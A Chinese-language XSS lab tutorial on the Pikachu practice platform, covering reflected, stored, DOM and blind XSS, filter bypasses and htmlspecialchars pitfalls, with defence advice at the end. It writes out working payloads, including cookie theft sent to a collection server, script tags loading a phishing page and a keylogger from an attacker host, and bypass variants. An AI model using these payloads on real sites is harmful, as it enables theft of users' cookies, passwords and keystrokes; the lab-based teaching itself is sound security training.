文章目录
概述
1、XSS就是攻击者在web页面插入恶意的Script
代码,当用户浏览该页面时,嵌入其中的js代码会被执行,从而达到恶意攻击的目的。
2、XSS是一种发生在web
前端的漏洞,所以其危害的对象也主要是前端用户
3、Xss漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取、甚至可以结合浏览器自身的漏洞对用户主机进行远程控制
因此在XSS漏洞的防范上,一般会采用对输入进行过滤
、和对输出进行转义
的方式进行处理
跨站脚本漏洞常见类型
危害:存储>反射>dom型
反射型
交互的数据一般不会被存在在数据库里面,一次性,所见即所得
存储型
交互的数据会被存在在数据库里面、永久性存储、一般出现在留言板、注册等页面
Dom型
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题
Dom一种前端的接口、用户输入的数据通过dom进行相关的操作然后输出、不会跟后台进行交互
XSS漏洞的测试流程
1.在目标站点找到输入点,比如查询接口,注册,留言板等可以与页面交互的地方。
(建议别一上来就上各种xss的语句、而是我们可以先输入一些特殊字符(比如<>、单双引号等等)再加上一个唯一的数字组合、然后把它提交到后台、再看返回的源码里面、
通过这个唯一识别的字符找到返回的这个点、然后去做对应的观察看后端返回来的数据是否有做对应的处理
或者说我们提交的数据是否有被过滤掉、再或者它返回的数据是否有做对应的编码转义等等
2.开始手测,先输入一组"特殊字符+唯一的识别字符",点击提交后,看页面是否会对提交的内容进行处理(过滤和转义等)如果是原封不动的返回来,那么可能就存在xss了。
3.通过搜索到输入的唯一识别字符,在结合唯一字符的前后愈发来确认是否可以执行构造xss的条件(构造闭合),来插入要执行的代码。(可以通过查看页源代码来查看)
3.提交的脚本代码(以及各种绕过姿势),看是否可以执行成功,执行成功就说明有xss漏洞。
搭建XSS后台
1.在pikachu文件夹下面,把pkxss单独放在www下面
2.修改配置文件 数据库服务器地址,账号,密码。
3.安装
4.安装成功
小提示
用phpstudy
新建数据库会出现权限不足,直接用第一个root
数据库的账号密码登录即可
一、反射型XSS(Get)
1、流程
输入时发现限制了输入字符长度,F12
审查源码
,修改maxlength
即可
输入特殊字符,检查是否有过滤
传递的参数直接存在页面代码中,而且没有过滤、构造Payload
<script>alert(xss)</script>
实验案例-获取Cookie
修改IP地址。打开Pikachu/pkxss/xcookie/post.html
文件,因为这里是在本地演示,因此2个IP都修改为127.0.0.1
打开
修改
先修改输入长度
输入框输入
<script> document.location = 'http://127.0.0.1/xcookie/cookie.php?cookie=' + document.cookie; </script>
注意!!!!http://127.0.0.1/xcookie/cookie.php
这里地址填IP加xcookie/cookie.php
、
这个是不会跳转的、错误的pkxss_cookie_result.php
可选择跳转到哪个页面
提交就会跳转
这里设置了跳转到的是pikachu
的首页
回到接收XSS的
cookie
值平台那个界面刷新得到cookie
值
二、反射型XSS(Post)
这里直接通过admin/123456
登陆、然后构造Payload
<script>alert(2333)</script>
完成弹窗
三、存储型XSS
留言板将输入的内容写入到网页中, 并且存储到网站数据库, 假如遭受到恶意代码攻击, 那么受到的攻击将是持久化的
我们试着在皮卡丘平台上的XSS上留言,看看是否有什么过滤机制
我们发现我们的留言会一直存在,而且从表现上我们输入的内容直接输出了、下面通过源码观察
我们输入的东西,也直接输出在 p
标签中,看起来没有经过任何转义和处理、下面输入下面的Payload
进行测试
<script>alert(document.cookie)</script>
成功弹出cookie值
实验案例-钓鱼攻击
我们这里用一个Basic认证去做这个钓鱼攻击、我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面时、这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部、这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码
首先攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件,将IP地址改为攻击者的服务器地址
构造的
Payload
如下
<script src="http://www.pkxss.com/xfish/fish.php"></script>
当用户访问这个留言板时,会出现下面的认证框
从而盗取用户的账号密码
实验案例-键盘记录
什么是跨域
当协议、主机(主域名、子域名)、端口中的任意一个不同时,称为不同域
我们把不同域之间请求数据的操作,称为跨域操作
跨域-同源策略
为了安全考虑,所有的浏览器都约定了“同源策略”。同源策略规定
两个不同域之间不能使用JS进行互相操作
比如 x.com 域名下的 JS 并不能操作 y.com 域下的对象
8080跟8081、www跟client、https跟http等是跨域不同源的
如果想要跨域操作,则需要管理员进行特殊配置
比如通过头里面:header("Access-Control-Allow-Origin:x/com")
指定跨域的地址
下面的标签跨域加载资源(资源类型时有限制的)是不受同源策略限制的
<script src="...">,JS加载到本地执行
<img src="..">,图片
<link href="..">,CSS
<iframe src="..">,任意资源
为什么要同源策略
A登录了淘宝,攻击者向A发送了一个恶意链接http://盗取cookie
如果没有同源策略,url上的js恶意操作A的内容
有了同源策略,就限制了这种状况
或者,一个恶意站点A使用了 <iframe src="B站点登录界面">
,发送该恶意 url 给受害者
如果受害者浏览器如果没有同源策略,那么 A 上的 JS 即可获取 B 站点的登录信息
实验
打开pikachu/pkxss/rkeypress/rk.js
文件,将第54行语句并修改为黑客后台地址
rk.js
是攻击代码,我们可以把这个 js
文件放到我们的恶意站点上,然后通过有 XSS
漏洞的页面去调用
这个文件可以记录用户的键盘操作,然后异步发送给攻击者
但是这个违背了同源策略,因为我们攻击者的机器和漏洞服务器的主机是不一样的
AJAX
的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的
去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php
注释掉下面的代码
我们可以用下面的Payload
测试一下
<script src="http://www.pkxss.com/rkeypress/rk.js"></script>
提交之后打开控制台,看一下网络请求,我们在页面上随便输入一些东西,会有下面的提示
由于
http://www.pkxss.com
是攻击者自己搭建的平台,攻击者可以允许所有人来跨域请求,下面我们把刚刚注释的代码打开
这时候再在浏览器上输入东西,就没有任何提示了,我们也在一直向攻击者的服务器发送数据、攻击者也收集到了我们的击键信息
四、DOM型XSS
纯前端的操作、DOM:文档对象类型
在这里我们提到了DOM,那么什么是DOM呢?
DOM就是js可以通过DOM树来操纵HTML的接口,js通过DOM提供的方法对HTML标签进行修改,删除等操作,来改变页面布局。由于HTML是由于各种标签来构成的,所以j就可以通过修改标签来改造页面。
可以参考:https://www.w3school.com.cn/htmldom/index.asp
我们可以以这棵树为入口,通过DOM的某些方法对树进行操作,比如对标签的添加、改变和删除等等
DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口
Dom的一个特征是在前端完成的、没有跟后台交互。都是在前端完成的、dom是一个前端的操作接口、 下面我们在皮卡丘平台上的DOM型XSS上测试一下
通过观察页面源码
这里有段JS代码,它通过
getElementById
获取到了标签 Id
为 text
的内容赋值给str
然后又把 str
的内容通过字符串拼接的方式写到了 a
标签的 href
属性中,a
标签会写到 Id
为 dom
的 div
标签中
我们通过闭合的方式构造Payload
' οnclick="alert('xss')">
'><img src="#" onmouseover="alert('xss')">
两条语句都行
完成弹窗
造成DOM型XSS的原因
是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的
五、DOM型XSS-X
老套路,测试代码+页面源代码
这里也有个JS代码,它定义了一个domxss
函数
它利用 window.location.search
获取浏览器中URL的内容,然后赋值给 str
然后经过URL
解码和字符串分隔,取出URL
中的参数内容
再把 “+”
替换为 “ ”(空格)
,赋值给 xss
最后把 xss
拼接到 a
标签中,然后写到 Id
为 dom
的 div
标签中
跟前面的DOM
不同的是,它的输入是从浏览器的URL
中获取的,很像反射型XSS(get)
、构造的Payload
跟刚才是一样的
' οnclick="alert('xss')">
'><img src="#" onmouseover="alert('xss')">
六、XSS之盲打
XSS盲打不是攻击类型,而是一个攻击场景
在皮卡丘平台上,我们随便输入一些东西
提交后我们输入的内容不会在前对输出,而是提交到了后台,可能管理员会去看
如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出
那后台管理员可能遭受到我们的XSS攻击,我们提交以下内容
并登录后台管理界面(账号密码为admin,123456
)
http://yunche.com/vul/xss/xssblind/admin.php
一登录进来就遭受了XSS攻击
七、XSS之过滤
实际中的系统,或多或少都会做一些安全措施,但是这些安全措施也能方法、逻辑不严谨,可以被绕过
转换的思路
前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
大小写,比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
双写(拼凑),<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换,但可能只去掉一次。
注释干扰,<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。
编码的思路
核心思路:
后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定过滤
当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行
编码应该在输出点被正常识别和翻译,不能随便使用编码。
例子:
<img src=x onerror=alert('xss')>
将alert('xss')进行URL编码,可以执行吗?
<img src=x onerror=alert%28%27xss%27%29>
它并不会执行,因为属性标签并不会正常解析这些编码
<img src=x onerror=alert('xss')>
将alert('xss')进行HTML编码
<img src=x onerror=alert('xss')>
当它输出到前端的时候,浏览器会对这个编码进行翻译,从而弹窗
XSS绕过的姿势很多,取决于你的思路和对前端技术的掌握程度、我们在皮卡丘平台上,输入下面的内容
看一下后台会怎么处理
可以看到我们输入的
<script>
标签被去掉了
尝试用大小写混合的方式看看能否绕过
<SCRIPT>alert(111)</sCRIpt>
这时候成功弹窗说明后端只对小写的script进行过滤
也可以用别的攻击Payload,后台可能没有做处理
<img src=x onerror=alert('xss')>
XSS之htmlspecialchars
关于htmlspecialchars()
函数
htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数
预定义的字符是
& 成为 &
" 成为 "
' 成为 '
< 成为 <
> 成为 >
可用引号类型
ENT_COMPAT:默认,仅编码双引号
ENT_QUOTES:编码双引号和单引号
ENT_NOQUOTES:不编码任何引号
我们在皮卡丘平台上输入下面的内容,"'&2333?#
看一下后端是怎么处理的
可以看到
“ " ”,“ > ”
和“ < ”
都经过了编码,剩下的字符没有,单引号依然可以使用
我们可以构造下面的Payload
,我们在Payload
前后都添加一个单引号用于闭合 href
中的单引号
' οnclick=alert(2333) '
XSS常见防范措施
总的原则:输入做过滤,输出做转义
过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
转义:所有输出到前端的数据根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行JS转义
XSS之href输出
看一下xss_03.php
的源码
这个页面会接收我们的输入的message
,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars()
进行处理使用伪协议
这个函数转义单引号、双引号和左右尖括号
然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行JS
构造Payload如下,没有上面被转义的字符
使用了伪协议
javascript:alert(111)
此时点击我们的标签就会出现弹窗
提交后查看源码、我们的输入在 a
标签的 href
属性中
如果要对 href
做处理,一般有两个逻辑:
输入的时候只允许 http 或 https 开头的协议,才允许输出
其次再进行htmlspecialchars处理
XSS之js输出
我们随便输入一些东西
然后查看一下页面源码
它会把我们的输入放到JS中,然后对这个变量进行判断,然后再输出
我们可以构造一个闭合,先用一个单引号和</script>
闭合掉页面中的<script>
,然后再插入自己的JS代码
'</script><script>alert('xss')</script>
这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码
JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话
在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS
所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义
总结
漏洞利用
GET方式:可以通过直接构造URL来诱导用户点击,一般需要会转换成短连接
POST方式:黑客通过伪造一个表单自动提交的页面,当用户访问页面时触发表单,页面JS自动POST表单数据到存在POST型XSS漏洞的网站,并将Cookie返回到黑客后台,黑客通过Cookie伪装成用户登录并造成危害。
XSS常见Payload
<script>alert("xss")</script> 弹窗
<script>alert(document.cookie)</script> 弹cookie
<a href=javascript:alert(111)> 伪协议
<body onload=alert('XSS')>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">